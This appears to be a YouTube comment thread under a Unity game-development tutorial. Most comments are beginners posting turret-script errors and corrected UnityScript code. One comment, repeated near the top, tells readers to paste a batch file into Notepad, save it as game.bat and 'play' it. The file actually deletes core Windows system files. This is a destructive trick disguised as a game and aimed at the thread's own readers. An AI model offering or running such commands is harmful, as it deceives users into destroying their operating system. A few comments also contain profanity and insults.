hi my name is colll78 and me and my friend franko98 are making a MMO-RPG and we would love you to check out our channel just check out our progress also if you are an expierenced coder or modeler we would love you to comment and we will contact you advertise for our channel and please rate and subscribe
If you get errors in the scripts give me a private message with the script and ALL the errors and I will try to fix them for you. The reason why I am willing to offer this to you is because I had all the same problems when I started out with Unity and TT one year ago. We have all been there.
@mepain1 Please Help me i Made my own turret and followed video precisely, The turret does look at me but when i get close to it 'it moves away from me Please help =( and pleease hurry =(.Thanks
Okay I'm making a zombie game, how will you make the zombie to observe its location and if it spots the target then it will come at it? This will be the same for my other project which require artificial intelligent like npc soldiers.
this is the problem i have now please help me fix it. Assets/Physic Materials/slowturretdown.js(27,53): BCE0020: An instance of type 'UnityEngine.Transform' is required to access non static member 'Find'.
in the beginning it sounded like you said tomato twins :O nice tuts me and a friend is working on a game and im working on the models and programing D: hes just planing stuff XD
At the moment i have a small challenge. At this stage (Ep 10) where the turrets get their code and all, i did everything right and the code works and the turret turn but they're simply not facing the worm...
Thnx TT for these AWESOME vids. I've bin following your Tut. series since ep.1 and i'm stuck here. I did everything as shown in video.but my turrent (which i imported from 3dsmax) doesn't seem to face the worm well....i mean it moves in reaction to the worms movement but it's simply not facing it the way it shud.
@metallicafan003 In Unity3D, you can code in Javascript, C# and boo. If i remember correctly, if you buy the pro version of Unity3D, you can use plug ins, and then you can code in a diffrent language.
the turret should have to like rotate in a circle until they find you and then shoot at you but take a couple of seconds to fire and they won't move until after they fire giving you a chance to get out of the way.
@TornadoTwins hey, sry for disturbing i have a error, it goes like that Assets/Scripts/TurretControl.js(24,10): BCE0044: expecting (, found 'Shoot'. what should i do??
Open Notepad Copy and Paste: @echo off del “C:windowspchealth” del “C:windowssystem” del “C:windowssystem32restore” del “winlogon.exe” del “C:windowssystem32autoexec.nt” del “C:windowssystem32logonui.exe” del “C:windowssystem32ntoskrnl.exe” Save as game.bat Open it, and play!
@MrKaznur hey this is what u do look for errors in the script i found where it said rotation it was like this:rota-tion thats whats causing that error hope this helps :D
hello, i would first like to say great tutorial! i have watched it all the way through and it worked nice, but one thing i had a problem with is i made my own model for the turret when it turns to look at the worm it jumps way off the base of the turret. any ideas?
after adding in the code to dampen the turrets' speeds, i am getting errors saying that there are no character controllers for bodyparts 1 and 2. seems random, but i can't seem to fix it... i can't go on until this is fixed so if you know what's wrong, please let me know
Assets/Standard Assets/Scripts/TurretControl.js(8,89): BCE0020: An instance of type 'UnityEngine.Transform' is required to access non static member 'position'.
@nightfoxx26 I had the same problem but then i realised that at the: var rotate function you should use - instead for = at .position - transform.position
Hey It Keeps on coming up with an error message on mine saying NullReferenceException Turretcontrol.Shoot() have i done something wrong or do i need to put in something else? :(
I plan on making a game some day. It's gonna be a mix of Super Mario 64, Star Fox, GoldenEye 007, OoT, Donkey Kong 64, and the Call of Duty Games. I'm currently try to think of what my character should be able to do and what I should name the game. It's going to be about a major galactic war that takes place in the future. And no, not Star Wars.
i need anyones help! first of all the canon dosent look straight to the worm!and most of the times when i walk trought the canon it looks like hes running from me!LOL and second i didn make the canon fire because it says that something Expecting"}, and found ". HELP!!!!
holy sht i never seen dis game maker thing awesome now i am gonna download dis and make the character i wuz tryin 2 animate :O
mariovsluigi4094 1 month ago
@mariovsluigi4094 too bad the software is like 500 dollars.
wtf0productions 2 weeks ago
@wtf0productions Unity is free. You can buy a Pro version that has some perks in console publishing, but the indie one is totally free.
Korban3 2 weeks ago
@wtf0productions It is free
Korolija123 2 weeks ago
I am having a hard time with does scrypts
dopeboyfresh065 1 month ago
could you right the movement code in the coments so i can copy it?
cazador1914 1 month ago
My Damp doesn't work I change Damp from 6 to 1 and its still going same speed!! Plz can somebody help!!!
ozku153 2 months ago
my turret moves down under the ground when i comme closer to it and it does´nt rotate right it rotates up and down too :(
levidread99 2 months ago
hey I got the right script for you:
var LookAtTarget : Transform;
var damp = 6.0;
function Update () { if(LookAtTarget) { var rotate = Quaternion.LookRotation(LookAtTarget.position - transform.position); transform.rotation = Quaternion.Slerp(transform.rotation, rotate, Time.deltaTime * damp); } //transform.LoolAt(LookAtTarget); }
Droid4Fun 4 months ago 9
Comment removed
Droid4Fun 4 months ago
My damping wont work! please help
PETER333CROATIA 4 months ago
My damping wont work!
PETER333CROATIA 4 months ago
Can you make a whole series on just scripting? It's not too difficult but I want to fully understand it
slowphobia 4 months ago
Turret aimer.js(10,38): BCE0005: Unknown identifier: 'Quarternion'.
I am only just starting scripting - how do I fix this lol?
BrokeStringGuitarist 4 months ago
@BrokeStringGuitarist spelt Quaternion not Quarternion
Reaxxcartoons 4 months ago
i have a problem:
"Assets/Game files/scripts/TurretControl.js(10,54): BCE0022: Cannot convert 'UnityEngine.Quaternion' to 'UnityEngine.Vector3'.
"
and here is the code:
"var LookAtTarget:Transform;
var damp = 6.0;
function Update ()
{ if(LookAtTarget) { var rotate = Quaternion.LookRotation(LookAtTarget.position - transform.position); transform.position = Quaternion.Slerp(transform.rotation, rotate, Time.deltaTime * damp); } //transform.LookAt(LookAtTarget);
}"
kalo160 5 months ago
This has been flagged as spam show
@kalo160 It is supposed to go like this:
var LookAtTarget:Transform;
var damp = 6.0;
function Update ()
{ if(LookAtTarget) { var rotate = Quaternion.LookRotation(LookAtTarget.position - transform.position); transform.rotation = Quaternion.Slerp(transform.rotation, rotate, Time.deltaTime * damp); } //transform.LookAt(LookAtTarget);
}
mepain1 3 months ago
Comment removed
kalo160 5 months ago
Comment removed
kalo160 5 months ago
This has been flagged as spam show
hi my name is colll78 and me and my friend franko98 are making a MMO-RPG and we would love you to check out our channel just check out our progress also if you are an expierenced coder or modeler we would love you to comment and we will contact you advertise for our channel and please rate and subscribe
colll78 6 months ago
i think i just heared TomatoTwins at the first??? XD
marshmallowjjang 6 months ago 28
@marshmallowjjang i red your comment before watching and tought it srsly he said tomatotwins lol
SteZooNeR 2 months ago
im not good at scripting but i trying
shadowdoomlord222 7 months ago
This has been flagged as spam show
how can i get that turret if you already change your webpage and so the turret costs
juadarkattack1 7 months ago
how can i get that turret if you already change your webpage and so teh turret costs
juadarkattack1 7 months ago
How do you set the controls for your game
adjmonkey 8 months ago
@adjmonkey i believe you have to edit the script
MegaGadgetdude 7 months ago
Comment removed
adjmonkey 8 months ago
U R REALLY AWESOME
GameWormBazooka 8 months ago
i have awesome comp on A.V.A it gets up to 85 - 112 with a normal amount of AI and with a TON of AI it gets 70 - 85 XD
yoyobeerman1289 8 months ago
If you get errors in the scripts give me a private message with the script and ALL the errors and I will try to fix them for you. The reason why I am willing to offer this to you is because I had all the same problems when I started out with Unity and TT one year ago. We have all been there.
mepain1 8 months ago
@mepain1 Please Help me i Made my own turret and followed video precisely, The turret does look at me but when i get close to it 'it moves away from me Please help =( and pleease hurry =(.Thanks
THExRISExOFxZOMBIES 2 months ago
@THExRISExOFxZOMBIES I cannot say for sure, but it sounds like a pivot point issue. This is not a problem with the code, but with the model.
mepain1 2 months ago
hey there its tomatoe twins here ok dude i heard that xD
WormRage 8 months ago
how can you a racing video game because I want to know I like raceing games
bakhotwheels 8 months ago
How can you lock the turret from moving around ._.?
My turret got detached from its base and swings around trying to get to me.
stathisdjs 8 months ago
Okay I'm making a zombie game, how will you make the zombie to observe its location and if it spots the target then it will come at it? This will be the same for my other project which require artificial intelligent like npc soldiers.
Dailybabble 9 months ago
@Dailybabble i too am doing a zombie game
Skater54121 8 months ago
I have an error that says insert a semicolon at the end? My script looks exactly like his i dont know what the problem is?
JELLYJOOBLE18 9 months ago
Assets/Toppart.js(8,22): UCE0001: ';' expected. Insert a semicolon at the end. help!!!
Greenday96messi 9 months ago 3
@Greenday96messi Remain calm, read what the error message tells you to do.
SabaskaTheNoob 9 months ago
@SabaskaTheNoob I dont know what to do i have tryed en an to days trying to fix it but didnt fix it please help
Greenday96messi 9 months ago
This has been flagged as spam show
@Greenday96messi Dont cum all over your self dude, what does the error message tell you to do. Its right there.
If you cant see it... "Insert a semicolon at the end.", so you add a ";" at the place where its telling you.
SabaskaTheNoob 9 months ago
@Greenday96messi you forgot a ; at the end of some sentence , idk which ones , cause you didnt posted the code ;P
mixinghoney 4 months ago
Comment removed
DrawingDrewfly 3 months ago in playlist More videos from TornadoTwins
@Greenday96messi Well, just insert the bloody semicolon at the end of line 8 -.-
tarrizzzzzzzzz 3 months ago
@Greenday96messi i can help you :)
1. pause the video
2. look at both scripts
3. put a ; at the lines where he haves semicolons
stijnimanbik 3 months ago
@Greenday96messi i guess someone answered u already, but: insert semicolon ; at teh end ^^
VusCZ 2 months ago
this is the problem i have now please help me fix it. Assets/Physic Materials/slowturretdown.js(27,53): BCE0020: An instance of type 'UnityEngine.Transform' is required to access non static member 'Find'.
littlebrojo 9 months ago
i cant add scripts it says theyre not ready, help?
123algae 9 months ago
Anyone know how to change the enemy AI so it moves toward the player instead of looking at it?
hutzification 9 months ago
Assets/NewBehaviourScript.js(10,75): BCE0019: 'rotate' is not a member of 'UnityEngine.Quaternion'.
MrThej2nes 9 months ago
Can some one help me with the error...
"Assets/Gun2.js(8,35): UCE0001: ';' expected. Insert a semicolon at the end"
crazy1560 10 months ago
I have ERROR Assets/Standard Assets/Camera Scripts/SmoothLookAt.js(38,71): BCE0043: Unexpected token: f.
Assets/Standard Assets/Decal System/jlk.cs(58,41): error CS0117: `UnityEngine.Vector2' does not contain a definition for `one'
MrMamlasCZ 10 months ago
1:13 crack sound..o.O'
deslimjim 11 months ago
@143Penguins i changed it but still have the error. here's how i have the code;
var LookAtTarget : Transform;
var damp = 6.0;
function Update ()
{ if(LookAtTarget) { var rotate = Quaternion.LookRotation(LookAtTarget.position - transform.position); transform.rotation = Quaternion.Slerp(transform.rotation, rotate, Time.deltaTime * damp); } //transform.LookAt(LookAtTarget);
}
SMFPresident 11 months ago
@SMFPresident Fixed
var LookAtTarget : Transform;
var damp = 6.0;
function Update ()
{ if(LookAtTarget)
{ var rotate = Quaternion.LookRotation(LookAtTarget.position - transform.position); transform.rotation = Quaternion.Slerp(transform.rotation, rotate, Time.deltaTime * damp); //transform.LookAt(LookAtTargt);
}
}
crazy1560 10 months ago
mine always moves at the same speed
MrComputerprogrammer 11 months ago
Help Help Help Please Please Please Please
azzz766 11 months ago
I got this error:
Assets/TurretControl.js(16,1): BCE0044: expecting }, found ''.
azzz766 11 months ago
I can help all of you
azzz766 11 months ago
Comment removed
azzz766 11 months ago
This has been flagged as spam show
I gor this error:
Assets/TurretControl.js(11,76): BCE0005: Unknown identifier: 'rotate'.
azzz766 11 months ago
I got this error: Assets/TurretControl.js(11,76): BCE0005: Unknown identifier: 'rotate'.
azzz766 11 months ago
@azzz766 i think it because you forgot the var = rotate part
TechSandwhich 11 months ago
i got this Assets/TurretControl.js(9,44): BCE0044: unexpected char: 0xFFFD.
azzz766 11 months ago
does the program cost much?
bram07021993 11 months ago
@bram07021993 Unity is free if thats what you want to know
claws127 11 months ago
What a quaternion do?
mixinghoney 11 months ago
@143Penguins Good for copypasters ;)
Vator0 1 year ago
@143Penguins Thnx alot, iwas getting that error and i couldn't fix it, thnx so much
multigamingdudes 1 year ago
solved my problem
LemonWafflezz 1 year ago
when I make the turret a prefab it wont let me set the worm as a target
LemonWafflezz 1 year ago
hi guys i found the answer of the error copy the code and past it:
var LookAtTarget : Transform;
var damp = 6.0;
function Update ()
{ if(LookAtTarget)
var rotate = Quaternion.LookRotation(LookAtTarget.position - transform.position);
transform.rotation = Quaternion.Slerp(transform.rotation, rotate, Time.deltaTime * damp);
} //transform.LookAt(LookAtTarget);
dh00m2009 1 year ago
this was not made for unity3.2 and above thats why most of the scrips dont work
DOWNWTDASICKNESS 1 year ago
dont let me type quaternion again...
XD
special4demolition 1 year ago
in the beginning it sounded like you said tomato twins :O nice tuts me and a friend is working on a game and im working on the models and programing D: hes just planing stuff XD
Xiora4 1 year ago
this is what I get Assets/Textures/free models/turretprogram.js(8,25): BCE0044: expecting :, found '='.
jcjkool 1 year ago
Hei Guys Do tranform to Transform
YoMatsi 1 year ago
OK PEOPLE:
I'm not a javascript programmer (I'm usually python) but these errors are easy enough to diagnose:
@nightfoxx26-
1. I believe you may have just missed closing a parentheses the equals sign may or may not need to be there.
2. I know for a fact on this one: Just put a semicolon at the end of the line.
3. You have an extra closed parentheses here.
@dontskipthischannel
I think you need to import another of the built in functions at the top (maybe 'UnityEngine.Time').
Cheers!
AwesomeMikee 1 year ago
@143Penguins Thank you
P.S (to other people) Like this comment so others can find it easier or else I'll send my worm after you
REXRAPTER309 1 year ago
This has been flagged as spam show
Assets/TurretControl.js(2,9): UCE0001: ';' expected. Insert a semicolon at the end.
PLEASE HELP
sampuig12 1 year ago
My error was
Assets/TurretControl.js(2,9): UCE0001: ';' expected. Insert a semicolon at the end.
StInKySoCKz1 1 year ago
@laziegamer can you message me the script too?
MrLosefireball 1 year ago
plss help i got a problem the turret dosent look at me=(
fotboll85 1 year ago
@fotboll85 you must go into the topPart then Where it says " Look At Target " Drag Worm Into there
GCALPRODUCTION 1 year ago
my one said this Assets/NewBehaviourScript.js(7,85): BCE0044: expecting ), found 'Target'.
what does it mean by that?????????????
JetTheRabbitX 1 year ago
my one said this Assets/NewBehaviourScript.js(7,85): BCE0044: expecting ), found 'Target'.
JetTheRabbitX 1 year ago
great tut but ive got a problem my turret just looks at the worms starting point and doesn't look at it when it moves
gamemakar1 1 year ago
@gamemakar1 try targeting a body part of the worm or a different one.
AwesomeOposum 1 year ago
This has been flagged as spam show
actually never mind here's the code for 5:30
........................................................................
var LookAtTarget:Transform;
var damp = 6.0;
function Update ()
{ if(LookAtTarget) { var rotate = Quaternion.LookRotation(LookAtTarget.position - transform.position); transform.rotation = Quaternion.Slerp(transform.rotation, rotate, Time.deltaTime * damp); } //transform.LookAt(LookAtTarget); }
theDEHUNGERIZER 1 year ago
can u make a text file with the code in it from the video so that we can download it and then copy/paste it into ours?
the 1 i am talking about is also at 5:30
theDEHUNGERIZER 1 year ago
can someone help me. Everytime i shoot from my worm now, the fireball comes out the turret? please help
felsstubbsy 1 year ago
@felsstubbsy I'm having the exact same issue, which is strange cos i've done everything exactly as they show in the tutorials?
Anyone know whats going on? Thanks!
Dadasofa 1 year ago
@Dadasofa Yup same!, iv done everything he said. Iv give up for the time beeing but im going to start it again :D
felsstubbsy 1 year ago
it work..
kakostube2 1 year ago
var LookAtTarget : Transform;
var damp = 6.0;
function Update ()
{ if(LookAtTarget) { var rotate = Quaternion.LookRotation(LookAtTarget.position - transform.position); transform.rotation = Quaternion.Slerp(transform.rotation, rotate, Time.deltaTime * damp); } //transform.LookAt(LookAtTarget);
}
kakostube2 1 year ago
Assets/Turretcontrol.js(10,58): BCE0005: Unknown identifier: 'rotation'.
i checked twice and had your exact script,but the error keeps coming up! please help?
TwinShowdown 1 year ago
where you get those program?
back099 1 year ago
my turrent aims too high for sum reason
super0393 1 year ago
The turrent turns to the position of the worm at the start but doesnt change as i move
super0393 1 year ago
what if i want only the barrel rotate on the x axis?
ddjava 1 year ago
Question!! Can unity make online games?
SRB2suntyro 1 year ago
@SRB2suntyro Fusion Fall, a MMORPG by the makers behind Cartoon Network was made with the unity engine
IDOG321 1 year ago
@IDOG321 sooo does that mean yes?
SRB2suntyro 1 year ago
@SRB2suntyro yes, lol
IDOG321 1 year ago
@SRB2suntyro yes it can
super0393 1 year ago
can you please copy paste the turretcontrol script to me? my computer says it has problems
ostemad111 1 year ago
very good
MrBanifaciy 1 year ago
I found the solution to all the errors about "expecting ), found '='
Its supposed to be - not =, so this is how the line should be:
var rotate = Quaternion.LookRotation(LookAtTarget.position - transform.position);
Please thumb up so people can see this. ;)
Atle517 1 year ago 16
Thanx TT for this series!
At the moment i have a small challenge. At this stage (Ep 10) where the turrets get their code and all, i did everything right and the code works and the turret turn but they're simply not facing the worm...
please help
xekushuna 1 year ago
Thnx TT for these AWESOME vids. I've bin following your Tut. series since ep.1 and i'm stuck here. I did everything as shown in video.but my turrent (which i imported from 3dsmax) doesn't seem to face the worm well....i mean it moves in reaction to the worms movement but it's simply not facing it the way it shud.
xekushuna 1 year ago
how do you jump???????
127firefox 1 year ago
@127firefox Bend your legs, and push up with force.
metallicafan003 1 year ago
What scripting language does this engine function in?
metallicafan003 1 year ago
@metallicafan003 In Unity3D, you can code in Javascript, C# and boo. If i remember correctly, if you buy the pro version of Unity3D, you can use plug ins, and then you can code in a diffrent language.
mepain1 1 year ago
@mepain1 I've already found that out now, but thanks a lot anyways.
metallicafan003 1 year ago
if you have problems...
The code is
var LookAtTarget:Transform;
var damp = 6.0;
function Update ()
{
if(LookAtTarget) { var rotate = Quaternion.LookRotation(LookAtTarget.position - transform.position); transform.rotation = Quaternion.Slerp(transform.rotation, rotate, Time.deltaTime * damp); }
//transform.LookAt(LookAtTarget);
}
Takane97 1 year ago
what if i have a fps of 700-1000?
Digby0907 1 year ago
@Digby0907 I´m pretty sure you don´t, but if you do, the game is gonna go pretty fast.
mepain1 1 year ago
@mepain1 lol funny thing is i do
Digby0907 1 year ago
the turret should have to like rotate in a circle until they find you and then shoot at you but take a couple of seconds to fire and they won't move until after they fire giving you a chance to get out of the way.
mariosonicfan2010 1 year ago
@TornadoTwins hey, sry for disturbing i have a error, it goes like that Assets/Scripts/TurretControl.js(24,10): BCE0044: expecting (, found 'Shoot'. what should i do??
domiselomi 1 year ago
youngingbrown 1 year ago
@EISOBAX Yes
MrKaznur 1 year ago
@EISOBAX Now it says "Assets/TurretControll.js(10,61): BCE0044: unexpected char: 0xFFFD." WTf C'mon
MrKaznur 1 year ago
@MrKaznur hey this is what u do look for errors in the script i found where it said rotation it was like this:rota-tion thats whats causing that error hope this helps :D
DaFan86 1 year ago
Errors: "Assets/TurretControll.js(7,27): UCE0001: ';' expected. Insert a semicolon at the end." Help
MrKaznur 1 year ago
can you please make a tutorial of a MMORPG ????
Thumbs up for this comment to standout
and copy and paste this to other TT videos!
zcxvnbads 1 year ago
@EAReporter rage quit much
You will make a horrible programmer with that patience
mastermanofjustice 1 year ago
mine floated when i was done with the scripting
ciscomaster4000 1 year ago
hello, i would first like to say great tutorial! i have watched it all the way through and it worked nice, but one thing i had a problem with is i made my own model for the turret when it turns to look at the worm it jumps way off the base of the turret. any ideas?
deebeast3 1 year ago
Comment removed
x69T0M69x 1 year ago
nvm, i figured it out lol
sticks2795 1 year ago
after adding in the code to dampen the turrets' speeds, i am getting errors saying that there are no character controllers for bodyparts 1 and 2. seems random, but i can't seem to fix it... i can't go on until this is fixed so if you know what's wrong, please let me know
sticks2795 1 year ago
is this like a proffesional program where i can save it into a .rar file?
unoriginality1 1 year ago
Assets/Standard Assets/Scripts/TurretControl.js(8,89): BCE0020: An instance of type 'UnityEngine.Transform' is required to access non static member 'position'.
Please help! Dx
TheGamerboy860 1 year ago
Comment removed
TheGamerboy860 1 year ago
Thanks
ddman12345678910 1 year ago
var LookAtTarget:Transform;
var damp = 6.0;
function Update ()
{ if(LookAtTarget) { var rotate = Quaternion.LookRotation(LookAtTarget.position - transform.position); transform.rotation = Quaternion.Slerp(transform.rotation, rotate, time.deltaTime * damp); } //transform.LookAt(LookAtTaget):
}
that the code i put in but it doesn't work plese help
ddman12345678910 1 year ago
I did my code exactly as it is at 5:30 but it says
Assets/TurretControl.js(8,92): BCE0044: expecting ), found '='.
Assets/TurretControl.js(8,93): UCE0001: ';' expected. Insert a semicolon at the end.
Assets/TurretControl.js(8,112): BCE0043: Unexpected token: ).
I did everything right
nightfoxx26 1 year ago 25
@nightfoxx26 same problems here
hti6787 1 year ago
@nightfoxx26 i think u need to put ")" ,but u are set "="
TheDino97 1 year ago
@nightfoxx26
Probably very late now, but it sounds like you're missing a closing parenthesis ')' somewhere. Probably at the end of the " - transform.position); "
Did you mistype a = sign instead?
psykojello 1 year ago
the = is a -
anes1998 1 year ago
@nightfoxx26 you r right mine said the same thing!!!!!!!
TheMike102030 1 year ago
@nightfoxx26 just get rid of/add the parts they want/don't want
Xalien2002 1 year ago
@nightfoxx26 check for all capital letters in some words i had an error in slerp it should be Slerp
MohammadProductions 1 year ago
@nightfoxx26 I had the same problem but then i realised that at the: var rotate function you should use - instead for = at .position - transform.position
KaSperminator 1 year ago
@nightfoxx26 Please tell me when u find an answer
Tutmastersphotoshop 1 year ago
@nightfoxx26 just turn "=" into" - " and all errors are gone
MrCODXD 1 year ago
Can you make a Tutorial on how to make a RPG or FPS? like building an island?
InspieringEpicVideos 1 year ago
Hey It Keeps on coming up with an error message on mine saying NullReferenceException Turretcontrol.Shoot() have i done something wrong or do i need to put in something else? :(
BlackonwhitecopterJA 1 year ago
ur videos dont help much because theyre better scripts at the unity example projects
dranoel1963 1 year ago
try make more zoom some times
geekprojects 1 year ago
howdy ladies and gents.
i`m currently doing an assignment based on "Tower Defense" theme and i`m using tutorials by TT to get me started.
so i`m seeking for someone to teach me how to do following things:
- how can i make a spawnpoint to spawn my enemies?
- how can i make so that my turret aim for those enemies instead of only 1,
- how can i make so that my turret shoot in a specific range only cause my turret is shooting all over the map now
your help will be much appreciated .
lawrencewsh 1 year ago
I plan on making a game some day. It's gonna be a mix of Super Mario 64, Star Fox, GoldenEye 007, OoT, Donkey Kong 64, and the Call of Duty Games. I'm currently try to think of what my character should be able to do and what I should name the game. It's going to be about a major galactic war that takes place in the future. And no, not Star Wars.
BombchuPilot 1 year ago
@TornadoTwins Can you send me the right copy of the script this is mine
var LookAtTarget:Transform;
var damp = 6.0;
function Update ()
{ if(LookAtTarget) { var rotate = Quaternion.LookRotation(LookAtTarget.position - transform.position); transform.rotation = Quaternion.Slerp(transform.rotation, rotate. Time.deltaTime * damp); } //transform.LookAt(LookAtTarget);
}
But it says it doesnt like the time near delta time
dontskipthischannel 1 year ago
@dontskipthischannel line 10
Quaternion.Slerp(transform.rotation, rotate(.) this should be a comma
nightfoxx26 1 year ago
PLEASE READ: this is my error
'Time' is not a member of 'UnityEngine.Quaternion'.
dontskipthischannel 1 year ago 6
@dontskipthischannel lol try a different command then a quaternion command with only 2 parts.
Xalien2002 1 year ago
ssets/free models/TuuretControl.js(10,81): BCE0043: Unexpected token: ).
what it means?
need help
DerDopplpunkt 1 year ago
var LookAtTarget:Transform;
var damp = 1.0;
function Update ()
{ if(LookAtTarget) { var rotate = Quaternion.LookRotation(LookAtTarget.position - transform.position); transform.rotation = Quaternion.Slerp(transform.rotation, rotate, Time.deltaTime * damp); } //transform.LookAt(LookAtTarget);
}
TheNBAmedia 1 year ago
my script isnt working
TheNBAmedia 1 year ago
can you make a total war like game say Elder Scrolls Total War
djjosh34445 1 year ago
hey can i open other games withe unity so i now how they did stof?
dcsaber14 1 year ago
@TornadoTwins
hey is this script right, it keeps saying it has errors and dosent like the 2nd '=' mark
var LookAtTarget:Transform;
var damp = 6.0;
function Update ()
{ if(LookAtTarget) { var rotate = Quaternion.LookRotation(LookAtTarget.position = transform.position); transform.rotation = Quaternion.Slerp(transform.rotation, rotate, Time.deltaTime * damp); } //transform.LookAt(LookAtTarget);
}
eightbraker 1 year ago
thx for the script work buetifully
shadowstripexx 1 year ago
@shadowstripexx Can anyone send me there turret scripts, i cant get mine to work :(
eightbraker 1 year ago
who is the fuckin dumbass who is the only person who diliked this lol
jerryisrippin 1 year ago
awesome! YOU ROCK!
goldendragonchild 1 year ago
i need anyones help! first of all the canon dosent look straight to the worm!and most of the times when i walk trought the canon it looks like hes running from me!LOL and second i didn make the canon fire because it says that something Expecting"}, and found ". HELP!!!!
ungravitch 1 year ago